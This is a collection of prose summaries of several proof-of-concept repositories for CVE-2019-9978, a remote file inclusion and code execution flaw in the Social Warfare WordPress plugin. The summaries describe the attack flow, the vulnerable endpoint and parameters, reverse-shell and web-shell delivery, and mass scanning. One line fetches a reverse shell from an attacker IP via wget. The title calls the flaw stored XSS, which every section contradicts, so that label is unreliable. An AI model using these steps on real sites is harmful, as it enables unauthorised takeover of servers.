Stored XSS in WordPress Social Warfare plugin

Repository contains a single Python PoC exploit script and a README. The script (CVE-2019-9978-POC.py) targets CVE-2019-9978 in the WordPress plugin Social Warfare <= 3.5.2 by abusing the `swp_debug=load_options` functionality to make the target fetch attacker-hosted content via the `swp_url` parameter. Operational flow: (1) prompts for target WordPress base URL/IP and attacker local IP; (2) starts a local HTTP server on port 8098; (3) writes `payload.txt` containing a command injection payload that runs `system('wget http://<attacker_ip>:8098/php-reverse-shell.php')`; (4) sends a GET request to `/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://<attacker_ip>:8098/payload.txt` to trigger RCE and download the PHP reverse shell onto the target; (5) requests `/wp-admin/php-reverse-shell.php` to execute it, expecting a reverse shell to connect back to the operator’s listener. The exploit is not a framework module; it is an operational PoC with a hardcoded hosting port (8098) and assumes the reverse shell PHP file is preconfigured and present locally.

This repository is a proof-of-concept exploit for CVE-2019-9978, a remote file inclusion (RFI) vulnerability in the Social Warfare WordPress plugin (versions prior to 3.5.3). The exploit consists of a Python script (exploit.py) that takes a target WordPress site and a URL to a payload file as arguments. The script constructs a malicious request to the vulnerable '/wp-admin/admin-post.php' endpoint, abusing the 'swp_url' parameter to include a remote file. The provided payload (payload-main.txt) contains PHP code that executes the 'cat /etc/passwd' command, demonstrating remote code execution if the exploit is successful. The README provides usage instructions and context. The exploit is unauthenticated and network-based, requiring the attacker to host a payload and the target to be running the vulnerable plugin. No detection or fake code is present; this is a functional POC exploit.

This repository provides a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare WordPress plugin (versions <= 3.5.2). The exploit consists of a single Python script ('exploit.py') and a README file. The script automates the attack by: 1. Generating a PHP reverse shell payload and saving it to 'payload.txt'. 2. Hosting the payload using Python's built-in HTTP server. 3. Starting a Netcat listener to receive the reverse shell. 4. Sending a crafted HTTP request to the vulnerable WordPress endpoint ('/wp-admin/admin-post.php') with parameters that cause the target to fetch and execute the attacker's payload. The exploit requires the attacker to set their IP address and desired listener port in the script. The attack vector is network-based, exploiting a vulnerable HTTP endpoint. The main fingerprintable endpoints are the attacker's HTTP server, the Netcat listener, and the vulnerable WordPress admin-post.php endpoint. The payload is a PHP reverse shell that connects back to the attacker's machine, providing remote command execution on the target server. The repository is operational and ready for use with minimal configuration.

This repository provides a Python 3 exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare WordPress plugin (versions <= 3.5.2). The main exploit script (CVE-2019-9978.py) takes a target WordPress site and a URI to a payload file (such as payload.txt) hosted by the attacker. The exploit works by sending a specially crafted request to the vulnerable endpoint (wp-admin/admin-post.php?swp_debug=load_options&swp_url=...), causing the target to fetch and execute the attacker's payload. The provided payload demonstrates execution of a system command (cat /etc/passwd) on the target server. The repository includes a README with detailed usage instructions, a sample payload, and licensing information. The exploit is operational and demonstrates real code execution, but the payload must be hosted by the attacker and can be customized for different commands.

This repository contains a Python proof-of-concept exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare WordPress plugin versions prior to 3.5.3. The main file, CVE-2019-9978.py, is a standalone exploit script that automates the attack process. It starts a local HTTP server to serve a malicious PHP payload (containing a system command specified by the attacker), then triggers the vulnerable endpoint on the target WordPress site to fetch and execute this payload. The exploit requires the attacker to specify the target URL, their own local IP and port (for the HTTP server), and the command to execute on the target. The repository also includes a README with usage instructions and an Apache 2.0 license. The exploit demonstrates operational maturity, as it automates both payload delivery and exploitation, but does not provide a customizable or post-exploitation framework.

This repository contains a Python exploit script (wp-rce.py) targeting the Social Warfare WordPress plugin (versions <= 3.5.2), specifically exploiting CVE-2019-9978. The exploit automates the process of checking a list of WordPress sites for the vulnerability and, if found, attempts to upload a PHP web shell to /wp-admin/license.php via a crafted request to /wp-admin/admin-post.php. The script uses multithreading for speed and outputs results to local files. The README provides usage instructions and references. The exploit is operational, providing a working payload (web shell) and is not just a proof of concept.

This repository provides a proof-of-concept (PoC) exploit for CVE-2019-9978, a remote code execution (RCE) vulnerability in the Social Warfare WordPress plugin (versions <=3.5.2). The exploit consists of a single Python script ('cve-2019-9978.py') that targets a vulnerable endpoint in the plugin ('wp-admin/admin-post.php?swp_debug=load_options&swp_url=...'). The attacker must host a malicious payload (such as a PHP file containing a system command) and supply its URI to the script, which then triggers the vulnerable import functionality on the target WordPress site. If successful, the exploit allows unauthenticated attackers to execute arbitrary system commands on the server. The repository also includes a README with usage instructions and a standard Apache 2.0 license file. The exploit is a standalone PoC and does not belong to any framework.

This repository contains a Bash script (exploit.sh) and a README describing an exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare WordPress plugin (versions <=3.5.2). The exploit works by generating a PHP backdoor file (backdoor.php) that is served by the attacker via a local web server. The script then crafts a request to the vulnerable WordPress site's admin-post.php endpoint, leveraging the plugin's vulnerability to load the attacker's backdoor. The attacker can then execute arbitrary commands on the target by sending them base64-encoded via the 'cmd' parameter. The script displays the output of the executed command and cleans up temporary files. The main exploit capability is remote code execution on a vulnerable WordPress installation. The repository is simple, with one exploit script and a README, and requires the attacker to host a web server to deliver the backdoor.